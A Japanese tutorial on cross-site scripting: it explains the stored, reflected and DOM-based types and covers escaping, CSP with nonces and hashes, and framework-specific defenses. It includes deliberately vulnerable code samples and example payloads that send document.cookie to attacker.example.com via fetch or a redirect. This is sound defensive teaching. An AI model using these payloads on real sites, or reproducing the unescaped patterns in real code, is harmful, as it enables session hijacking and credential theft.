Webアプリケーションにおいて、XSS(クロスサイトスクリプティング)は最も頻繁に発生する脆弱性の一つです。OWASPのTop 10でも常に上位にランクインしており、すべてのWeb開発者が理解しておくべきセキュリティ脅威です。

この記事では、XSS攻撃とは何か、3つの種類(Stored XSS、Reflected XSS、DOM-based XSS)の違い、具体的な攻撃シナリオ、そしてエスケープ処理やCSP(Content Security Policy)による対策方法まで、実践的な観点から解説します。

XSS(クロスサイトスクリプティング)とは

XSS(Cross-Site Scripting)は、攻撃者が悪意のあるスクリプトを信頼されているWebサイトに注入し、他のユーザーのブラウザで実行させる攻撃手法です。

XSS攻撃の基本的な流れ

sequenceDiagram
    autonumber
    participant Attacker as 攻撃者
    participant Website as Webサイト
    participant Victim as 被害者
    participant AttackerServer as 攻撃者サーバー

    Note over Attacker,Website: 1. 攻撃者が悪意のあるスクリプトを注入
    Attacker->>Website: <script>悪意のコード</script>

    Note over Victim,Website: 2. 被害者がページにアクセス
    Victim->>Website: ページをリクエスト
    Website-->>Victim: 悪意のスクリプトを含むHTML

    Note over Victim,AttackerServer: 3. 被害者のブラウザでスクリプトが実行される
    Victim->>AttackerServer: Cookie/セッション情報

XSS攻撃で何ができるのか

XSS攻撃が成功すると、攻撃者は以下のような悪意ある操作を実行できます。

  1. セッションハイジャック: Cookieやセッショントークンを盗み、ユーザーになりすます
  2. キーロガーの設置: ユーザーの入力(パスワード、クレジットカード情報など)を記録
  3. フィッシング: 偽のログインフォームを表示して認証情報を詐取
  4. マルウェア配布: ユーザーを悪意のあるサイトにリダイレクト
  5. Webページの改ざん: ページの内容を書き換えて偽情報を表示

XSS攻撃の3つの種類

XSS攻撃は、悪意のあるスクリプトが挿入される場所と実行されるタイミングによって、大きく3つの種類に分類されます。

1. Stored XSS(格納型XSS)

Stored XSS(格納型XSS)は、悪意のあるスクリプトがサーバー側のデータベースに永続的に保存される攻撃です。3種類の中で最も危険性が高く、被害が広範囲に及ぶ可能性があります。

sequenceDiagram
    participant Attacker as 攻撃者
    participant Website as Webサイト
    participant DB as データベース
    participant Victim as 被害者

    Note over Attacker,DB: Step 1: 攻撃者がコメントとしてスクリプトを投稿
    Attacker->>Website: "素晴らしい記事ですね!<br>&lt;script&gt;alert(1)&lt;/script&gt;"
    Website->>DB: 保存

    Note over Victim,Website: Step 2: 被害者がページを閲覧
    Victim->>Website: ページを閲覧
    Website-->>Victim: スクリプトが含まれたHTMLが返される

    Note over Victim: スクリプト実行<br>Cookie漏洩/セッションハイジャック

攻撃シナリオ:コメント機能を悪用したCookie窃取

掲示板やブログのコメント欄が適切にサニタイズされていない場合を想定します。

脆弱なコード例(PHP):

1
2
3
4
5
6
7
8
<?php
// コメントをデータベースから取得して表示(脆弱な実装)
$comments = $pdo->query("SELECT * FROM comments ORDER BY created_at DESC");
foreach ($comments as $comment) {
    // 危険:ユーザー入力をそのまま出力している
    echo "<div class='comment'>" . $comment['content'] . "</div>";
}
?>

攻撃者が投稿するコメント:

1
2
3
素晴らしい記事ですね!<script>
  fetch('https://attacker.example.com/steal?cookie=' + document.cookie);
</script>

このコメントがデータベースに保存されると、そのページを閲覧したすべてのユーザーのCookieが攻撃者のサーバーに送信されます。

2. Reflected XSS(反射型XSS)

Reflected XSS(反射型XSS)は、悪意のあるスクリプトがURLパラメータなどを通じてサーバーに送信され、レスポンスとしてそのまま反射(reflect)される攻撃です。

sequenceDiagram
    participant Attacker as 攻撃者
    participant Victim as 被害者
    participant Website as Webサイト

    Note over Attacker: Step 1: 攻撃者が悪意のあるURLを作成<br>https://example.com/search?q=&lt;script&gt;...&lt;/script&gt;

    Note over Attacker,Victim: Step 2: 被害者に悪意のあるリンクをクリックさせる
    Attacker->>Victim: メール/SNSで悪意のあるリンクを送信
    Victim->>Victim: リンクをクリック

    Note over Victim,Website: Step 3: サーバーがスクリプトを含むレスポンスを返す
    Victim->>Website: 検索リクエスト
    Website-->>Victim: スクリプトを含む検索結果ページ

攻撃シナリオ:検索機能を悪用した攻撃

検索結果ページで検索キーワードをそのまま表示する場合を想定します。

脆弱なコード例(Node.js/Express):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
// 検索結果ページ(脆弱な実装)
app.get('/search', (req, res) => {
  const query = req.query.q;
  // 危険:ユーザー入力をそのままHTMLに埋め込んでいる
  res.send(`
    <html>
      <body>
        <h1>検索結果: ${query}</h1>
        <p>「${query}」の検索結果は見つかりませんでした。</p>
      </body>
    </html>
  `);
});

攻撃者が作成する悪意のあるURL:

https://example.com/search?q=<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>

被害者がこのリンクをクリックすると、ブラウザはCookieを攻撃者のサーバーに送信してしまいます。

3. DOM-based XSS

DOM-based XSSは、サーバー側でスクリプトが処理されることなく、クライアントサイドのJavaScriptがDOMを操作する際に発生するXSS攻撃です。

sequenceDiagram
    participant Victim as 被害者
    participant Website as Webサイト
    participant Browser as ブラウザ
    
    Note over Victim,Website: Step 1: 正規のHTMLがサーバーから返される
    Victim->>Website: HTMLをリクエスト
    Website-->>Victim: 正常なHTML(スクリプトなし)
    
    Note over Browser: Step 2: クライアントサイドのJSが<br>URLから悪意のあるコードを読み取り実行
    Note over Browser: URL: https://example.com/#&lt;script&gt;...&lt;/script&gt;
    Note over Browser: JavaScript: document.write(location.hash)
    Note over Browser: DOMに悪意のあるスクリプトが挿入・実行される

攻撃シナリオ:URLフラグメントを利用した攻撃

ページ内でURLのハッシュ値を使ってコンテンツを動的に表示する場合を想定します。

脆弱なコード例(JavaScript):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<!DOCTYPE html>
<html>
<body>
  <div id="content"></div>
  <script>
    // 危険:URLハッシュをそのままDOMに挿入している
    const hash = location.hash.substring(1);
    document.getElementById('content').innerHTML = decodeURIComponent(hash);
  </script>
</body>
</html>

攻撃者が作成する悪意のあるURL:

https://example.com/#<img src=x onerror="alert(document.cookie)">

DOM-based XSSの特徴は、悪意のあるペイロードがサーバーに送信されないため、サーバー側のログに残らない点です。これにより、攻撃の検出が困難になります。

XSS攻撃の種類比較

種類 保存場所 発動条件 影響範囲 検出難易度
Stored XSS サーバーのDB ページ閲覧時 複数ユーザー
Reflected XSS URL/リクエスト リンククリック時 リンクを踏んだユーザー
DOM-based XSS クライアント ページ閲覧時 リンクを踏んだユーザー

XSS対策の基本:エスケープ処理

XSS攻撃を防ぐ最も基本的な対策は、ユーザーからの入力を適切にエスケープ(サニタイズ)することです。

HTMLエスケープの基本

HTMLコンテキストでは、以下の文字をエスケープする必要があります。

元の文字 エスケープ後
< &lt;
> &gt;
& &amp;
" &quot;
' &#x27;

言語別のエスケープ処理

JavaScript(Node.js)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// エスケープ関数の実装例
function escapeHtml(str) {
  if (!str) return '';
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

// 使用例
app.get('/search', (req, res) => {
  const query = escapeHtml(req.query.q);
  res.send(`
    <html>
      <body>
        <h1>検索結果: ${query}</h1>
        <p>「${query}」の検索結果</p>
      </body>
    </html>
  `);
});

PHP

1
2
3
4
5
6
7
<?php
// htmlspecialchars関数を使用
$userInput = $_GET['q'];
$safeInput = htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');

echo "<p>検索キーワード: " . $safeInput . "</p>";
?>

Python(Django)

Djangoのテンプレートエンジンはデフォルトで自動エスケープが有効です。

1
2
3
4
# views.py
def search(request):
    query = request.GET.get('q', '')
    return render(request, 'search.html', {'query': query})
1
2
3
4
5
6
<!-- search.html -->
<!-- Django は自動的にエスケープを行う -->
<p>検索キーワード: {{ query }}</p>

<!-- 意図的にエスケープを無効にする場合(危険) -->
<p>{{ query|safe }}</p>  <!-- XSS脆弱性の原因になる可能性 -->

コンテキストに応じたエスケープ

エスケープ処理は、出力先のコンテキストによって適切な方法を選択する必要があります。

コンテキスト エスケープ方法
HTML要素内 <div>ユーザー入力</div> HTMLエスケープ(&lt; &gt; &amp; など)
HTML属性内 <input value="ユーザー入力"> HTMLエスケープ + 属性は必ずクォートで囲む
JavaScript内 <script>var name = "ユーザー入力";</script> JavaScriptエスケープ(Unicode形式など)
URL内 <a href="https://example.com?q=ユーザー入力"> URLエンコード(encodeURIComponent
CSS内 <style>body { background: ユーザー入力; }</style> CSSエスケープ(許可リスト方式推奨)

CSP(Content Security Policy)による多層防御

エスケープ処理に加えて、CSP(Content Security Policy)を設定することで、XSS攻撃に対する多層防御を実現できます。CSPは、ブラウザに対してどのリソースを読み込んで実行してよいかを指示するセキュリティ機構です。

CSPの基本概念

CSPは、HTTPレスポンスヘッダーまたはHTMLのmetaタグで設定します。

HTTPヘッダーでの設定:

1
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com

HTMLメタタグでの設定:

1
2
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self' https://trusted-cdn.com">

CSPディレクティブの種類

主要なCSPディレクティブとその役割を紹介します。

ディレクティブ 説明
default-src 他のディレクティブが指定されていない場合のデフォルト
script-src JavaScriptの読み込み元を制限
style-src CSSの読み込み元を制限
img-src 画像の読み込み元を制限
font-src フォントの読み込み元を制限
connect-src XHR、WebSocket、Fetchの接続先を制限
frame-src iframe内に埋め込めるコンテンツを制限
object-src プラグイン(Flash等)の読み込みを制限
base-uri <base>タグで指定できるURLを制限

XSS対策に効果的なCSP設定例

基本的なCSP設定

1
2
3
4
5
6
7
8
9
Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self';
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none'

この設定により以下の保護が適用されます。

  • スクリプトは同一オリジンからのみ読み込み可能
  • インラインスクリプトの実行をブロック
  • <object><embed>要素をブロック
  • クリックジャッキングを防止

Nonce(ナンス)を使用した厳格なCSP

インラインスクリプトを許可しつつセキュリティを維持するには、Nonceを使用します。

サーバー側(Node.js/Express):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
const crypto = require('crypto');

app.use((req, res, next) => {
  // リクエストごとにランダムなnonceを生成
  res.locals.nonce = crypto.randomBytes(16).toString('base64');
  
  // CSPヘッダーを設定
  res.setHeader(
    'Content-Security-Policy',
    `default-src 'self'; script-src 'self' 'nonce-${res.locals.nonce}'; object-src 'none'; base-uri 'none'`
  );
  
  next();
});

app.get('/', (req, res) => {
  res.send(`
    <!DOCTYPE html>
    <html>
    <head>
      <title>CSP Nonce Example</title>
    </head>
    <body>
      <h1>Hello World</h1>
      <!-- nonceが一致するスクリプトのみ実行される -->
      <script nonce="${res.locals.nonce}">
        console.log('This script is allowed to run');
      </script>
    </body>
    </html>
  `);
});

ハッシュを使用したCSP

静的なインラインスクリプトには、ハッシュベースのCSPも有効です。

1
2
Content-Security-Policy:
  script-src 'sha256-abc123...' 'sha256-def456...'

スクリプトのハッシュは以下のコマンドで生成できます。

1
2
# スクリプト内容のSHA-256ハッシュを生成
echo -n "console.log('hello');" | openssl dgst -sha256 -binary | openssl base64

CSP違反のレポート

CSPには違反が発生した際にレポートを送信する機能があります。

1
2
3
4
5
Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  report-uri /csp-report-endpoint;
  report-to csp-endpoint

レポートエンドポイントの設定:

1
Reporting-Endpoints: csp-endpoint="https://example.com/csp-reports"

レポートの受信例(Node.js):

1
2
3
4
app.post('/csp-report-endpoint', express.json({ type: 'application/csp-report' }), (req, res) => {
  console.log('CSP Violation:', req.body);
  res.status(204).end();
});

CSP導入時の注意点

CSPを導入する際は、以下の点に注意が必要です。

  1. 段階的な導入: まずContent-Security-Policy-Report-Onlyヘッダーで影響を確認
  2. 既存コードの確認: インラインスクリプトやeval()の使用箇所を把握
  3. サードパーティの確認: 外部サービス(アナリティクス、広告等)の対応確認
  4. unsafe-inlineの回避: 可能な限りNonceやハッシュを使用

DOM-based XSS対策

DOM-based XSSはクライアントサイドで発生するため、サーバー側の対策だけでは防げません。

危険なDOM操作を避ける

以下のプロパティやメソッドは、XSS脆弱性を引き起こす可能性があります。

1
2
3
4
5
6
7
8
9
// 危険な操作(使用を避けるべき)
element.innerHTML = userInput;      // HTMLとして解釈される
element.outerHTML = userInput;
document.write(userInput);
document.writeln(userInput);

// 安全な代替手段
element.textContent = userInput;    // テキストとして扱われる
element.innerText = userInput;

安全なDOM操作の例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// 危険な例
function displayMessage(message) {
  document.getElementById('output').innerHTML = message;
}

// 安全な例
function displayMessageSafe(message) {
  const output = document.getElementById('output');
  output.textContent = message;
}

// HTMLを挿入する必要がある場合は、DOMPurifyなどのライブラリを使用
function displayHtmlSafe(html) {
  const output = document.getElementById('output');
  output.innerHTML = DOMPurify.sanitize(html);
}

URLパラメータの安全な処理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// 危険な例
const params = new URLSearchParams(location.search);
document.getElementById('welcome').innerHTML = 'ようこそ、' + params.get('name') + 'さん';

// 安全な例
const params = new URLSearchParams(location.search);
const name = params.get('name');
if (name) {
  document.getElementById('welcome').textContent = 'ようこそ、' + name + 'さん';
}

フレームワーク別のXSS対策

React

ReactはデフォルトでJSXの値をエスケープします。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
function Welcome({ name }) {
  // 安全:Reactは自動的にエスケープする
  return <h1>Hello, {name}</h1>;
}

// 危険:dangerouslySetInnerHTMLを使用する場合
function RawHtml({ html }) {
  // XSSリスクあり - 使用時は十分な注意が必要
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// 安全な代替:DOMPurifyでサニタイズ
import DOMPurify from 'dompurify';

function SafeHtml({ html }) {
  const sanitizedHtml = DOMPurify.sanitize(html);
  return <div dangerouslySetInnerHTML={{ __html: sanitizedHtml }} />;
}

Vue.js

Vue.jsも同様にデフォルトでエスケープを行います。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<template>
  <!-- 安全v-textやマスタッシュ構文は自動エスケープ -->
  <p>{{ userInput }}</p>
  <p v-text="userInput"></p>
  
  <!-- 危険v-htmlはエスケープしない -->
  <p v-html="userInput"></p>  <!-- XSSリスクあり -->
</template>

<script>
import DOMPurify from 'dompurify';

export default {
  computed: {
    sanitizedInput() {
      return DOMPurify.sanitize(this.userInput);
    }
  }
}
</script>

Angular

Angularはセキュリティコンテキストに基づいて自動的にサニタイズを行います。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import { Component } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';

@Component({
  selector: 'app-example',
  template: `
    <!-- 安全:自動エスケープ -->
    <p>{{ userInput }}</p>
    
    <!-- 信頼されたHTMLとしてマーク(注意が必要) -->
    <div [innerHTML]="trustedHtml"></div>
  `
})
export class ExampleComponent {
  userInput = '<script>alert("XSS")</script>';
  trustedHtml: SafeHtml;

  constructor(private sanitizer: DomSanitizer) {
    // bypassSecurityTrustHtmlは慎重に使用すること
    this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml(
      '<strong>安全なHTML</strong>'
    );
  }
}

実践:XSS脆弱性の検出と修正

脆弱性スキャンツールの活用

XSS脆弱性を検出するためのツールを紹介します。

ツール名 種類 特徴
OWASP ZAP 動的スキャナー 無料、オープンソース
Burp Suite 動的スキャナー 高機能、プロ版は有料
ESLint(security plugin) 静的解析 コード記述時にチェック
SonarQube 静的解析 CI/CD統合が容易

開発者ツールでの確認

ブラウザの開発者ツールを使用して、CSPの設定状況を確認できます。

  1. 開発者ツールを開く(F12)
  2. Consoleタブでエラーを確認
  3. NetworkタブでHTTPヘッダーを確認
  4. SecurityタブでCSPの状況を確認

まとめ

XSS(クロスサイトスクリプティング)攻撃は、Webアプリケーションにおいて最も一般的な脆弱性の一つです。効果的な対策には、複数の防御層を組み合わせることが重要です。

XSS対策の3つの柱:

  1. 入力のバリデーション: 想定外の入力を受け付けない
  2. 出力のエスケープ: コンテキストに応じた適切なエスケープ処理
  3. CSPの導入: ブラウザレベルでの実行制限

これらの対策を適切に実装することで、XSS攻撃のリスクを大幅に軽減できます。セキュリティは継続的な取り組みが必要です。定期的な脆弱性診断と、最新のセキュリティ情報のキャッチアップを心がけましょう。

参考リンク